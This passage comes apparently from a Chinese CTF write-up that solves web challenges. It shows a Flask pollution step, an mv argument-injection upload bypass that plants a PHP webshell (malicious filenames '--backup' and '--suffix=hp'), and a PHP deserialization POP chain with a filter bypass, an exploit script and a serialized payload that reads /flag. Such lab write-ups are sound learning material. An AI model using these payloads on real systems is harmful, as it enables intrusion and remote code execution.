
├── .view_functions (视图函数字典)
│ │ # 存储了每个路由对应的 Python 函数
│ └── ...

└── .__class__ / .__init__ (Python 原生魔法属性)
│ # 用来进行“原型链”跳跃,跳出 app 去找其他模块
└── .__globals__ -> 访问引入的 os, sys 等模块 (RCE 常用)
  • 攻击对象:app(Flask默认)

  • 属性路径:app.jinja_loader.searchpath或者jinja_loader.searchpath

  • 新值:/(大概率被放置在系统根目录)

构造并访问:

1
/operate?username=app&password=jinja_loader.searchpath&confirm_password=/

显示oprate success,证明污染成功

接着构造并访问:

1
/impression?point=flag

拿到flag


9. mv_upload

这种上传文件的题目,首先在信息不足的情况下先查看版本和扫目录

用dirsearch扫出了/index.php~,访问后拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
<?php
$uploadDir = '/tmp/upload/'; // 临时目录
$targetDir = '/var/www/html/upload/'; // 存储目录

$blacklist = [
'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht','jsp', 'jspa', 'jspx', 'jsw', 'jsv', 'jspf', 'jtml','asp', 'aspx', 'ascx', 'ashx', 'asmx', 'cer', 'aSp', 'aSpx', 'cEr', 'pHp','shtml', 'shtm', 'stm','pl', 'cgi', 'exe', 'bat', 'sh', 'py', 'rb', 'scgi','htaccess', 'htpasswd', "php2", "html", "htm", "asa", "asax", "swf","ini"
];

$message = '';
$filesInTmp = [];

// 创建目标目录
if (!is_dir($targetDir)) {
mkdir($targetDir, 0755, true);
}

if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}

// 上传临时目录
if (isset($_POST['upload']) && !empty($_FILES['files']['name'][0])) {
$uploadedFiles = $_FILES['files'];
foreach ($uploadedFiles['name'] as $index => $filename) {
if ($uploadedFiles['error'][$index] !== UPLOAD_ERR_OK) {
$message .= "文件 {$filename} 上传失败。<br>";
continue;
}

$tmpName = $uploadedFiles['tmp_name'][$index];

$filename = trim(basename($filename));
if ($filename === '') {
$message .= "文件名无效,跳过。<br>";
continue;
}

$fileParts = pathinfo($filename);
$extension = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';

$extension = trim($extension, '.');

if (in_array($extension, $blacklist)) {
$message .= "文件 {$filename} 因类型不安全(.{$extension})被拒绝。<br>";
continue;
}

$destination = $uploadDir . $filename;

if (move_uploaded_file($tmpName, $destination)) {
$message .= "文件 {$filename} 已上传至 $uploadDir$filename 。<br>";
} else {
$message .= "文件 {$filename} 移动失败。<br>";
}
}
}

// 获取临时目录中的所有文件
if (is_dir($uploadDir)) {
$handle = opendir($uploadDir);
if ($handle) {
while (($file = readdir($handle)) !== false) {
if (is_file($uploadDir . $file)) {
$filesInTmp[] = $file;
}
}
closedir($handle);
}
}

// 处理确认上传完毕(移动文件)
if (isset($_POST['confirm_move'])) {
if (empty($filesInTmp)) {
$message .= "没有可移动的文件。<br>";
} else {
$output = [];
$returnCode = 0;
exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);
if ($returnCode === 0) {
foreach ($filesInTmp as $file) {
$message .= "已移动文件: {$file}$targetDir$file<br>";
}
} else {
$message .= "移动文件失败: " .implode(', ', $output)."<br>";
}
}
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>多文件上传服务</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
.container { max-width: 800px; margin: auto; }
.alert { padding: 10px; margin: 10px 0; background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
.success { background: #d4edda; color: #155724; border-color: #c3e6cb; }
ul { list-style-type: none; padding: 0; }
li { margin: 5px 0; padding: 5px; background: #f0f0f0; }
</style>
</head>
<body>
<div class="container">
<h2>多文件上传服务</h2>

<?php if ($message): ?>
<div class="alert <?= strpos($message, '失败') ? '' : 'success' ?>">
<?= $message ?>
</div>
<?php endif; ?>

<form method="POST" enctype="multipart/form-data">
<label for="files">选择文件:</label><br>
<input type="file" name="files[]" id="files" multiple required>
<button type="submit" name="upload">上传到临时目录</button>
</form>

<hr>

<h3>待确认上传文件</h3>
<?php if (empty($filesInTmp)): ?>
<p>暂无待确认上传文件</p>
<?php else: ?>
<ul>
<?php foreach ($filesInTmp as $file): ?>
<li><?= htmlspecialchars($file) ?></li>
<?php endforeach; ?>
</ul>
<form method="POST">
<button type="submit" name="confirm_move">确认上传完毕,移动到存储目录</button>
</form>
<?php endif; ?>
</div>
</body>
</html>

黑名单比较全面,加上题目标题是mv_upload,猜测本题考查系统命令mv

源码中跟mv有关的是 :

1
exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);

在终端输入:

1
mv --help

出来的第一个使用方法很有意思,是在后面跟上–backup

原理是如果目标文件已经存在,再用mv移动同名文件会把先前的文件覆盖,但是加上–backup的话,不会直接覆盖先前的文件,而是先把旧文件改名备份,然后再把新文件移过去。

但是本题单纯的改名没有任何意义,这时就要用到另一个,在后面跟上–suffix=【想要的后缀】,这样就可以随心所欲地修改想要上传的文件后缀了

本题的攻击顺序很明朗了

  1. 创建一个文件“shell.p”,里面写入一句话木马,接着上传并移动

  2. 创建文件“–backup”和“–suffix=hp”,接着上传shell.p、–backup和–suffix=hp,同时进行移动

  3. 访问/upload/shell.php,若显示空白页面就代表改名成功,POST传入cmd=system(“cat /flag”);即可


10. ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
error_reporting(0);

class begin {
public $var1;
public $var2;

function __construct($a)
{
$this->var1 = $a;
}
function __destruct() {
echo $this->var1;
}

public function __toString() {
$newFunc = $this->var2;
return $newFunc();
}
}


class starlord {
public $var4;
public $var5;
public $arg1;

public function __call($arg1, $arg2) {
$function = $this->var4;
return $function();
}

public function __get($arg1) {
$this->var5->ll2('b2');
}
}

class anna {
public $var6;
public $var7;

public function __toString() {
$long = @$this->var6->add();
return $long;
}

public function __set($arg1, $arg2) {
if ($this->var7->tt2) {
echo "yamada yamada";
}
}
}

class eenndd {
public $command;

public function __get($arg1) {
if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
echo "nonono";
}else {
eval($this->command);
}
}
}

class flaag {
public $var10;
public $var11="1145141919810";

public function __invoke() {
if (md5(md5($this->var11)) == 666) {
return $this->var10->hey;
}
}
}


if (isset($_POST['ISCTF'])) {
unserialize($_POST["ISCTF"]);
}else {
highlight_file(__FILE__);
}
  1. 首先找终点,在类 eenndd中找到eval($this->command);,这里就是要到的终点

  2. 接着逆推通过__get($arg1)找到上一步,触发__get需要出现一个不存在的属性,在类flaag 中有return $this->var10->hey;访问的属性hey并不存在

  3. 触发 __invoke要把对象当成函数来调用,在类starlord中有return $function();,把$function当函数用

  4. 触发 __call需要调用不存在的方法,在类anna中有$long = @$this->var6->add(); return $long;,add() 方法并不存在

  5. 触发 __toString需要把一个对象当做字符串处理,在类begin中有echo $this->var1;

  6. __destruct 是反序列化后对象销毁时自动执行,因此作为起点

链条总结begin::__destruct() -> anna::__toString() -> starlord::__call() -> flaag::__invoke() -> eenndd::__get() -> eval()

其中还有两点需要处理:

  1. flaag 类的 MD5 弱类型比较:

    1
    if (md5(md5($this->var11)) == 666)

    需要找一个字符串,经过两次 MD5 加密后,结果以 666 开头

    编写一个MD5爆破的py脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    import hashlib

    for i in range(1000000):
    s = str(i)
    res = hashlib.md5(hashlib.md5(s.encode()).hexdigest().encode()).hexdigest()

    if res.startswith("666"):
    print(f"{s}")
    break

    得到:213

  2. eenndd 类的正则绕过:

    1
    preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)

    根据黑名单构造payload:

    1
    2
    passthru("uniq\$IFS\$9/f*");    
    //如果写ca\t,那\t会被php解析成Tab键;如果只写$IFS$9,两个$会被php解析成变量

这样就可以根据已知的pop链编写脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

class begin { public $var1; }
class anna { public $var6; }
class starlord { public $var4; }
class flaag { public $var10; public $var11 = 213; }
class eenndd { public $command = 'passthru("uniq\$IFS\$9/f*");'; } //不要用双引号嵌套双引号

$exp = new begin();
$exp->var1 = new anna();
$exp->var1->var6 = new starlord();
$exp->var1->var6->var4 = new flaag();
$exp->var1->var6->var4->var10 = new eenndd();

echo urlencode(serialize($exp));
?>

得到payload:

1
ISCTF=O%3A5%3A%22begin%22%3A1%3A%7Bs%3A4%3A%22var1%22%3BO%3A4%3A%22anna%22%3A1%3A%7Bs%3A4%3A%22var6%22%3BO%3A8%3A%22starlord%22%3A1%3A%7Bs%3A4%3A%22var4%22%3BO%3A5%3A%22flaag%22%3A2%3A%7Bs%3A5%3A%22var10%22%3BO%3A6%3A%22eenndd%22%3A1%3A%7Bs%3A7%3A%22command%22%3Bs%3A28%3A%22passthru%28%22uniq%5C%24IFS%5C%249%2Ff%2A%22%29%3B%22%3B%7Ds%3A5%3A%22var11%22%3Bi%3A213%3B%7D%7D%7D%7D

11. kaqiWeaponShop